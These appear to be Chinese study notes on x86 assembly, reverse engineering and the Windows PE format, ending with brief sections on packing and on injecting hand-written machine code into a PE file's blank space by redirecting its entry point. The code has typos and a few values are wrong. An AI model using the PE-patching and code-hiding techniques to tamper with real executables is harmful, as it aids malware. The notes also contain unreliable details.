WORD 16 bits
DWORD 32 bits
内存单元宽度 8 bits

以32位计算机为例:

1
2
3
4
MOV [0x12345678], 0xFFFF  ;不推荐
MOV word ptr ds:[0x12345678], 0xFFFF
; MOV 数据宽度 地址(指针) 段寄存器:[地址编号], 0xFFFF

每个程序都有一个独立的程序空间。以32位程序为例,程序独有一个4GB的程序空间。但是大多数空间不允许访问。

内存寻址方式:

1
2
3
4
5
6
7
8
9
10
11
; 立即数
MOV eax, dword ptr ds:[0x123456] ; 读
MOV dword ptr ds:[0x123456], eax ; 写
LEA eax, dword ptr ds:[0x123456] ; 获取内存地址
LEA eax, dword ptr ds:[esp + 8] ; 获取内存地址
; 寄存器寻址
MOV eax, dword ptr ds:[ecx] ; 读
MOV eax, dword ptr ds:[ecx + 1] ; 读
MOV eax, dword ptr ds:[eax + ecx * 2] ; 读
MOV eax, dword ptr ds:[eax + ecx * 2 + 3] ; 读
MOV dword ptr ds:[ecx], eax ; 写

堆栈

在Windows中,栈由高地址向低地址生长。增加元素时,栈顶指针减小。

1
2
3
4
5
6
7
8
9
; 创建栈顶栈底
MOV ebx, 0x12FFE0 ; 栈底
MOV edx, 0x12FFE0 ; 栈顶
; 存放
MOV dword ptr ds:[edx - 4], 0xAAAAAAAA
SUB edx, 4
; 或
LEA edx, dword ds:[edx - 4]
MOV dword ptr ds:[edx], 0xBBBBBBBB

专用栈:
ESP 栈顶
EBP 栈底
PUSH、POP 只能是16位或32位
栈顶指针移动的偏移量,如果是立即数,则偏移4,如果是容器,则偏移容器大小(push ax,偏移2个)

1
2
3
4
PUSH 0x12345678   ; 立即数,寄存器,内存
POP eax ; 寄存器,内存
PUSHAD ; 存入所有寄存器
POPAD ; 弹出所有寄存器

标志寄存器

0 CF:进位借位标志寄存器
2 PF:结果中1的个数是不是偶数
4 AF:辅助进位标志(32位时看16位是否进位,16位时看8位是否进位)
6 ZF:零标志位,判断结果是否为0
7 SF:符号标志,计算结果的最高位
8 TF:
9 IF:
10 DF:方向标志,
11 OF:溢出标志位

堆栈图

栈是由高地址向低地址生长。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
; 传入参数
PUSH 1 ; 也可以通过寄存器传入
PUSH 2
; 调用
CALL 0x40 ; EIP 会变化,返回地址入栈(ESP)
ADD ESP, 8 ; 去掉调用的参数(在函数外平衡堆栈,外平栈)

; 0x40 程序,Debug 版本
PUSH EBP ; 旧栈栈底入栈,作为新栈第0号元素
MOV EBP, ESP ; 创建新栈,新栈底存存放旧栈栈底地址
SUB ESP, 40 ; 生成缓冲区,大小不确定
PUSH EBX ;
PUSH ESI ;
PUSH EDI ; 保存寄存器现场
LEA edi, dword ptr ss:[ebp - 40]; 将第1个缓冲区地址放入EDI
MOV ECX, 10 ; 设置循环次数
MOV EAX, 0xCCCCCCCC ; 赋值,CC是INT3,表示断点,防止缓冲区溢出
REP STOS dword ptr ss:[ebp + 8] ; 缓冲区全部赋值为EAX
; 程序主要部分
MOV eax, dword ptr ss:[ebp + 8] ; 使用第1个参数
ADD eax, dword ptr ss:[ebp + C] ; 使用第2个参数
; 返回部分
POP EDI
POP ESI
POP EBX ; 恢复现场
MOV ESP, EBP
POP EBP ; 弹出旧栈
RETN ; 返回值在EAX中

Windows 堆栈

  1. 先进后出
  2. 向低地址扩展

裸函数

编译器完全不管的函数。由CALL调用后跳转到函数中,函数没有任何汇编代码,全部都是INT3。

1
2
3
void __declspec(naked) Plus()
{
}

C语言里面也可以加入汇编。

1
2
3
4
5
6
void __declspec(naked) Plus()
{
__asm{ // _asm 也可以
ret
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
void __declspec(naked) Plus(int a, int b)
{
__asm{
// 提升堆栈
push ebp
mov ebp, esp
sub esp, 0x40
// 保留现场
push ebx
push esi
push edi
// 填充缓冲区
mov eax, 0xCCCCCCCC
mov ecx, 0x10
lea edi, dword ptr ds:[epb - 0x40]
rep stosd
// 主要功能
mov eax, dword ptr ds:[ebp + 0x8]
add eax, dword ptr ds:[ebp + 0xC]
// 恢复现场
pop edi
pop esi
pop ebx
// 恢复堆栈
mov esp, ebp
pop ebp
ret
}
}

__declspec关键字用法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
// 规定内存对齐的位置,不规定占用的长度
// #pragma pack() 规定内存对齐的最小值
__declspec(align(32))
struct Stu{ int a, b, c };

// 声明数据段的一个数据项
// 与 #pragma code_seg, const_seg, data_seg, section, init_seg 配合使用
#pragma data_seg("share_data")
int a;
int b = 0;
#pragma data_seg() __declspec(allocate("share_data")) int c = 1;
__declspec(allocate("share_data")) int d;

// DLL调用与输出
// 输出端
class ___declspec(dllexport)
DllExport{
DllExport(){};
~DllExport(){};
};
// 输入端
#import comment(lib, "dll_name.lib")
class ___declspec(dllimportt)
DllExport{
DllExport(){};
~DllExport(){};
};

// 裸函数
// 仅在x86中有效,仅对函数有效
void __declspec(naked) func(){
__asm { ret }
}

// selectany
// 允许在.h文件中创建全局变量
class Stu{
public:
static int count;
}
__declspec(selectany) int Stu::count = 0;

调用约定

有如下调用约定,规定参数的传递,返回值的传递。

1
2
3
int __cdecl plus(int a, int b)     // C/C++默认,从右向左压入参数,外平栈
int __stdcall plus(int a, int b) // WIN32 API,从右向左压入参数,内平栈
int __fastcall plus(int a, int b) // ECX/EDX存入前两个,其他的从右向左压入,内平栈

程序入口

控制台程序中,C语言程序运行后,函数堆栈如下:

1
2
3
main(int 1, char**)   // 编程入口
mainCRTStartup() // 真正的入口,Link->Output->Entry-point symbol中规定
KERNEL32! 7c816d4f() //

mainCRTStartup()函数在main()之前先初始化:

  1. 获取系统版本 GetVersion()
  2. 堆初始化 _heap_init()
  3. 获取命令行参数 GetCommandLineA()
  4. 获取环境变量 _crtGetEnvironmentStringA()
  5. 设置参数 _setargv()
  6. 设置环境PATH _setenvp()
  7. 初始化C _cinit()
  8. 调用main(__argc, __argv, _environ)

找Main方法,就是去找3个参数的方法。例如:

1
2
3
4
5
PUSH edx
PUSH eax
PUSH ecx
CALL ...
ADD esp, 0xC

数据类型

四种数据类型:

  1. 基本类型:整数,浮点
  2. 构造类型:数组,结构体,联合体
  3. 指针类型
  4. 空类型:void

有符号的和无符号的数存放方式一样,在使用时候才会区分。一般是类型转换,比较大小,数学运算中会区别使用。

1
2
3
4
; 内存对齐
mov byte ptr [epb - 4], 0xFFh ; 有符号无符号存储时都一样
mov word ptr [epb - 8], 0xFFh
mov dword ptr [epb - 0xC], 0xFFh
1
2
3
4
; 比较有符号数
JLE
; 比较无符号数
JBE

变量

传入参数
传参时,由于使用PUSH,因此不论是何种类型,一律是传入32位数据。

返回值
一般情况下,返回值放到EAX中,如果是64位数据,则高位放到EDX,低位放到EAX中。

局部变量
一般直接分配32位的整数倍,不论是char,short还是int。

数组
一般是按照32位的整数倍为数组分配空间。例如:

1
char x[5];  // 占8字节

结构体

如果遇到连续赋值,但内存单元不是等宽,那么很有可能是结构体。
传参数传递结构体时,将结构体复制到栈里面。

1
2
3
4
5
SUB esp, 18h          ; 结构体大小
MOV ecx, 6 ; 复制次数
LEA esi, [ebp - 18h] ; 复制开始的地址 ESI
MOV edi, esp ; 子程序栈上 EDI
REP MOVS dword ptr [edi], dword ptr [esi] ; 复制

做函数返回值时候,主函数首先创建缓冲区LEA eax, [ebp-30h],之后PUSH eax,也就是将缓冲区地址传入子程序中。但是在函数执行完后,还要将数据从缓冲区复制到自己的局部变量里面。

结构体要数组对齐。

1
2
#pragma pach(n)  // 自定义对齐
#pragma pack() // 恢复默认对齐

Sizeof

Sizeof是一个关键字,用于获取类型大小,结构体大小,数组占的内存大小。

内存图

内存区域:

  1. 代码区:可读,可执行
  2. 栈:参数,局部变量,临时数据
  3. 全局变量:可读写
  4. 常量:可读
1
2
3
4
; 全局变量特点:
mov dword ptr [0x00427320], eax ; 直接写到某个地址
; 局部变量特点:
mov dwprd ptr [epb - 4], eax ; 基址加偏移

分支语句

IF 语句
当遇到CMP/TEST等影响标志位的命令,之后紧接JCC,则为IF。
汇编中和C语言中一般是反过来的。汇编中,如果满足条件则跳出;C语言中,如果满足条件则执行。

1
2
3
4
5
6
7
; IF
CMP eax, dowrd ptr [epb + 0xC]
JLE 0x00401049 ; JMP 的下一行代码地址
; ...
; ELSE
JMP 0x00401060 ; IF 语句的结束位置
; ...
1
2
3
4
5
6
7
8
; IF (a > 1 && b > 1 && c > 1)
CMP ; 条件 1
JLE ; 复合条件 则继续判断;否则跳到结尾
CMP ; 条件 2
JLE
CMP ; 条件 3
JLE
; 结尾

SWITCH 语句

  1. 当情况数较少时候(2 Cases + Default)实现和IF一样。
  2. 当情况数较多时候(4个分支时候),则生成大情况表。它会将每一个分支地址都存到大表中,然后通过给定的参数直接计算分支的地址直接跳转。
    1
    2
    3
    4
    5
    6
    SUB ecx, 01h   ; 将传入的参数减 Case 1
    MOV dword ptr [epb - 4], ecx
    CMP dword ptr [epb - 4], 3 ; 1 与 3 比较
    JA xxx ; 跳转到 Default
    MOV edx, dowrd ptr [epb - 4] ; 将 1 放到 edx
    JMP dowrd ptr [edx * 4 + @ Case 1] ; 依据表得到跳转地址
  3. 当 CASE 值连续相近时,才采取情况2的方式,如果中间断了一两个,那么空缺的地方则填入Default;如果 CASE 值混乱,则使用情况1方式。
  4. 当 CASE 值不太连续相近,但是又不够混乱时(例如CASE 字母),还会生产小表(CASE值转偏移值的表),之后通过小表查找偏移量,进一步再去查询大表(存放分支地址的表),此时大表中为连续的,不必插入Default。
    1
    2
    3
    4
    5
    6
    7
    8
    9
    SUB ecx, 01h   ; 将传入的参数减 Case 1
    MOV dword ptr [epb - 4], ecx
    CMP dword ptr [epb - 4], 3 ; 1 与 3 比较
    JA xxx ; 跳转到 Default
    MOV edx, dowrd ptr [epb - 4] ; 将 1 放到 edx
    ; 新增
    XOR edx, edx ; 清空 edx
    MOV dl, byte ptr [eax + 表开始地址] ; 查询小表
    JMP dowrd ptr [edx * 4 + @ Case 1] ; 依据小表得到大表中的跳转地址

循环语句

do while性能最好。

1
2
3
4
5
6
7
8
9
10
11
MOV  eax, dword ptr [ebp + 8]    ; Start
PUSH eax ; 调用函数的参数
PUSH offset string
CALL printf ; 调用函数
ADD esp, 8 ; 外平栈
MOV ecx, dword ptr [ebp + 8] ; x++
ADD ecx, 1 ; x++
MOV dword ptr [ebp + 8], ecx ; 判断计次变量
MOV edx, dword ptr [ebp + 8]
CMP edx, dword ptr [ebp + 0xCh]
JG Start

While语句:

1
2
3
4
5
6
7
8
9
10
11
12
13
MOV eax, dword ptr [ebp + 8]      ; Start
CMP eax, dword ptr [ebp + 0xCh]
JGE End ; 判断是否复合条件
MOV ecx, dword ptr [ebp + 8] ; 传入参数
PUSH ecx
PUSH offset string
CALL printf ; 调用函数
ADD esp, 8 ; 外平栈
MOV edx, dword ptr [ebp + 8] ; x++
ADD edx, 1
MOV dword ptr [ebp + 8], edx ; x++
JMP Start
; End

For 语句

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
MOV eax, dword ptr [ebp + 8]      ; 取传入的参数
MOV dword ptr [ebp - 4], eax ; 放入局部变量
JMP Middle ; 跳转到
MOV ecx, dword ptr [ebp - 4] ; Start
ADD ecx, 1 ; i++
MOV dword ptr [ebp - 4], ecx ; i++
MOV edx, dword ptr [ebp - 4] ; Middle
CMP edx, dword ptr [ebp + 0xCh]
JGE End ; 与传入的另一参数判断大小
MOV eax, dword ptr [ebp - 4] ; 传入参数,调用Printf
PUSH eax
PUSH offset string
CALL printf ; 调用函数
ADD esp, 8 ; 外平栈
JMP Start
; End

指针

32位机下,指针不论指向何种类型,都是32位4字节。
64位机下,指针不论指向何种类型,都是64位8字节。

1
2
3
4
5
; int x = *px;
; 寄存器间接寻址
MOV ecx, dword ptr [ebp - 8]
MOV edx, dowrd ptr [ecx]
MOV dword ptr [ebp - 0xCh], edx

加壳

将需要保护的代码的硬编码放到数据区,并将代码区变为全零。
可以用位运算对代码加密,例如对执行代码取反后保存。
用一个进程执行另一个程序的代码,隐藏原程序。

PE

Windows程序在内存或硬盘中结构一般有这几部分:

  • DOS 头
  • 填充数据(无用,长度可变)
  • NT 头(标准PE头,可选PE头)
  • 节表(各个节的位置)
  • 节 x N (数据段,代码段等)

程序在硬盘中和在运行时的二进制数据不一样。区别:

  1. 地址起始位置:硬盘中从0开始,内存中不是。
  2. 对齐方式:早期程序,在硬盘中对齐单位是200h。现代程序对齐单位一般是1000h。内存中对齐一般是1000h。

DOS 头:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
// 被注释的部分是16位程序使用的
struct _IMAGE_DOS_HEADER{
0X00 WORD e_magic; //※Magic DOS signature MZ(4Dh 5Ah):MZ标记:用于标记是否是可执行文件
//0X02 WORD e_cblp; //Bytes on last page of file
//0X04 WORD e_cp; //Pages in file
//0X06 WORD e_crlc; //Relocations
//0X08 WORD e_cparhdr; //Size of header in paragraphs
//0X0A WORD e_minalloc; //Minimun extra paragraphs needs
//0X0C WORD e_maxalloc; //Maximun extra paragraphs needs
//0X0E WORD e_ss; //intial(relative)SS value
//0X10 WORD e_sp; //intial SP value
//0X12 WORD e_csum; //Checksum
//0X14 WORD e_ip; //intial IP value
//0X16 WORD e_cs; //intial(relative)CS value
//0X18 WORD e_lfarlc; //File Address of relocation table
//0X1A WORD e_ovno; //Overlay number
//0x1C WORD e_res[4]; //Reserved words
//0x24 WORD e_oemid; //OEM identifier(for e_oeminfo)
//0x26 WORD e_oeminfo; //OEM information;e_oemid specific
//0x28 WORD e_res2[10]; //Reserved words
0x3C DWORD e_lfanew; //※Offset to start of PE header:定位PE文件,PE头相对于文件的偏移量
};

NT 头:

1
2
3
4
5
6
// NT 头
struct _IMAGE_NT_HEADERS{
0x00 DWORD Signature; //PE文件标识:ASCII的"PE\0\0" 50h 45h
0x04 _IMAGE_FILE_HEADER FileHeader;
0x18 _IMAGE_OPTIONAL_HEADER OptionalHeader;
};

标准 PE 头:

1
2
3
4
5
6
7
8
9
10
11
struct _IMAGE_FILE_HEADER{
0x00 WORD Machine; //※程序执行的CPU平台:0X0:任何平台,0X14C:intel i386及后续处理器
0x02 WORD NumberOfSections; //※PE文件中区块数量
0x04 DWORD TimeDateStamp; //时间戳:连接器产生此文件的时间距1969/12/31-16:00P:00的总秒数
//0x08 DWORD PointerToSymbolTable; //COFF符号表格的偏移位置。此字段只对COFF除错信息有用
//0x0c DWORD NumberOfSymbols; //COFF符号表格中的符号个数。该值和上一个值在release版本的程序里为0
0x10 WORD SizeOfOptionalHeader; //IMAGE_OPTIONAL_HEADER结构的大小(字节数):32位默认E0H,64位默认F0H(可修改)
0x12 WORD Characteristics; //※描述文件属性,eg:
//单属性(只有1bit为1):#define IMAGE_FILE_DLL 0x2000 //File is a DLL.
//组合属性(多个bit为1,单属性或运算):0X010F 可执行文件
};

可选 PE 头:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
struct _IMAGE_OPTIONAL_HEADER{
0x00 WORD Magic; //※幻数(魔数),0x0107:ROM image,0x010B:32位PE,0X020B:64位PE
//0x02 BYTE MajorLinkerVersion; //连接器主版本号
//0x03 BYTE MinorLinkerVersion; //连接器副版本号
0x04 DWORD SizeOfCode; //所有代码段的总和大小,注意:必须是FileAlignment的整数倍,存在但没用
0x08 DWORD SizeOfInitializedData; //已经初始化数据的大小,注意:必须是FileAlignment的整数倍,存在但没用
0x0c DWORD SizeOfUninitializedData; //未经初始化数据的大小,注意:必须是FileAlignment的整数倍,存在但没用
0x10 DWORD AddressOfEntryPoint; //※程序入口地址OEP,这是一个RVA(Relative Virtual Address),通常会落在.textsection,此字段对于DLLs/EXEs都适用。
0x14 DWORD BaseOfCode; //代码段起始地址(代码基址),(代码的开始和程序无必然联系)
0x18 DWORD BaseOfData; //数据段起始地址(数据基址)
0x1c DWORD ImageBase; //※内存镜像基址(默认装入起始地址),默认为4000H
0x20 DWORD SectionAlignment; //※内存对齐:一旦映像到内存中,每一个section保证从一个「此值之倍数」的虚拟地址开始
0x24 DWORD FileAlignment; //※文件对齐:最初是200H,现在是1000H
//0x28 WORD MajorOperatingSystemVersion; //所需操作系统主版本号
//0x2a WORD MinorOperatingSystemVersion; //所需操作系统副版本号
//0x2c WORD MajorImageVersion; //自定义主版本号,使用连接器的参数设置,eg:LINK /VERSION:2.0 myobj.obj
//0x2e WORD MinorImageVersion; //自定义副版本号,使用连接器的参数设置
//0x30 WORD MajorSubsystemVersion; //所需子系统主版本号,典型数值4.0(Windows 4.0/即Windows 95)
//0x32 WORD MinorSubsystemVersion; //所需子系统副版本号
//0x34 DWORD Win32VersionValue; //总是0
0x38 DWORD SizeOfImage; //※PE文件在内存中映像总大小,sizeof(ImageBuffer),SectionAlignment的倍数
0x3c DWORD SizeOfHeaders; //※DOS头(64B)+PE标记(4B)+标准PE头(20B)+可选PE头+节表的总大小,按照文件对齐(FileAlignment的倍数)
0x40 DWORD CheckSum; //PE文件CRC校验和,判断文件是否被修改
//0x44 WORD Subsystem; //用户界面使用的子系统类型
//0x46 WORD DllCharacteristics; //总是0
0x48 DWORD SizeOfStackReserve; //默认线程初始化栈的保留大小
0x4c DWORD SizeOfStackCommit; //初始化时实际提交的线程栈大小
0x50 DWORD SizeOfHeapReserve; //默认保留给初始化的process heap的虚拟内存大小
0x54 DWORD SizeOfHeapCommit; //初始化时实际提交的process heap大小
//0x58 DWORD LoaderFlags; //总是0
0x5c DWORD NumberOfRvaAndSizes; //目录项数目:总为0X00000010H(16)
0x60 _IMAGE_DATA_DIRECTORY DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES];//#define IMAGE_NUMBEROF_DIRECTORY_ENTRIES 16
};

DataDictionary:

1
2
3
4
5
struct _IMAGE_DATA_DIRECTORY{
DWORD VirtualAddress;
DWORD Size;
};
//占用16*8 = 128Byte = 80H = E0H(可选PE头默认大小) - 60H(前面所有成员固定占用大小)

节表:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

typedef struct _IMAGE_SECTION_HEADER{
BYTE Name[IMAGE_SIZEOF_SHORT_NAME]; // 8个字节的节区名称
union Misc{
DWORD PhysicalAddress;
DWORD VirtualSize; //节区的尺寸
}
DWORD VirtualAddress; // 节区的 RVA 地址
DWORD SizeOfRawData; // 在文件中对齐后的尺寸
DWORD PointerToRawData; // 在文件中的偏移量
DWORD PointerToRelocations; // 在OBJ文件中使用,重定位的偏移
DWORD PointerToLinenumbers; // 行号表的偏移(供调试使用地)
WORD NumberOfRelocations; // 在OBJ文件中使用,重定位项数目
WORD NumberOfLinenumbers; // 行号表中行号的数目
DWORD Characteristics; // 节属性如可读,可写,可执行等
} IMAGE_SECTION_HEADER, *PIMAGE_SECTION_HEADER;

空白区加代码

  1. 找到 MessageBoxA 函数。
  2. 在可选PE头中找到OEP,修改。
  3. 采用硬编码编写。
    1
    2
    3
    4
    5
    6
    PUSH ; 调用参数     ; 6A 00
    PUSH ; 调用参数 ; 6A 00
    PUSH ; 调用参数 ; 6A 00
    PUSH ; 调用参数 ; 6A 00
    CALL ; OEP 指向这里 ; E8 XX XX XX XX
    JMP ; OEP 原来的值 ; E9 XX XX XX XX 这个X的值是 要跳转的地址与此条指令的下一条指令地址之间的差

当要修改节的内容或新增节时(都是修改拉伸后的内容):

  1. 分配空间。(SizeOfImage)
  2. 复制头部:DOS, PE, Option PE, 节表。(SizeOfHeaders)
  3. 确定每一节的大小。(VirtualSize,SizeOfRawData,SizeOfImage)
  4. 确定节的位置。(PointToRawData,VirtualAddress)
  5. 修改代码时注意偏移。(ImageBase)
  6. 新加入一节,需要在节表中新增条目,修改PE头中节数量,以及SizeOfImage。
  7. 节表新加入节条目后,后面需要补一个全零的条目。(40个字节)
  8. 当扩大最后一节时,需要修改SizeOfRawData,VirtualSize,SizeOfImage。
  9. 当合并节时,需要修改节表。(SizeOfHeaders,SizeOfRawData,VirtualSize,PointToRawData)

注意:

  1. SizeOfHeaders不可以随便变,一旦改变,下面所有的地址都需要变。
  2. 如果节表空间不够,则将NT头网上移动,占据DOS STUB空间。
  3. 一旦节表空间不足,DOS STUB空间不足等情况发生,则扩大最后一个节添加数据。
  4. 有时节表的后面不一定是空闲空间,也可能是有用数据,就不增加节,而是直接修改现有节。

数据字典

记录了16种不同的信息:导出表导入表,资源表,异常信息表,安全证书表,重定位表,调试信息表,版权所有表,全局指针表,TLS表,加载配置表,绑定导入表,IAT表,延迟导入表,COM信息表,未使用(作为保留)。

Data Dictionary:

1
2
3
4
5
struct _IMAGE_DATA_DIRECTORY{
DWORD VirtualAddress;
DWORD Size;
};
//占用16*8 = 128Byte = 80H = E0H(可选PE头默认大小) - 60H(前面所有成员固定占用大小)

导出表

导入表

重定位表

IAT表

Windows API

关键字

IN OUT

1
2
3
// 只是用来标记,没有任何作用
#define IN
#define OUT

LPVOID:等于void *

LPSTR:字符串

FILE:文件

函数

1
2
3
4
5
6
7
8
9
10
11
LPSTR file_name = "xxx"
FILE file = fopen(file_name, "rb");
// 获取文件大小
fseek(file, 0, SEEK_END);
DWORD file_size = ftell(file);
// 指针回归头部
fseek(file, 0, SEEK_SET);
// 读取文件数据
size_t n = fread(buffer, file_size, 1, file);
// 关闭文件
fclose(file);

Windows API

参考:《Windows 黑客编程技术详解》 甘迪文。Write Bug 社区

案例

基础部分

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
// 运行单一实例
// 创建一个互斥对象
CreateMutex

// DLL 延迟加载
// DLL 延迟加载信息存储在 ImgDelayDesrc 延迟导入表中

// 资源插入
// MFC 中,解决方案 -> 资源 -> 添加资源

// 资源释放
// 确定模块中某类型和名称的资源所在位置,返回资源句柄
FindResource()
// 获取资源字节数,依据句柄获取字节数
SizeofResource()
// 装载资源到内存,返回资源数据的句柄
LoadResource()
// 锁定资源数据,返回资源第一个字节的指针
LockResource()
// 最后可以将数据保存到文件
// 资源通常存放在 PE 中 IMAGE_RESOURCE_DIRECTORY

DLL 注入

Windows 内核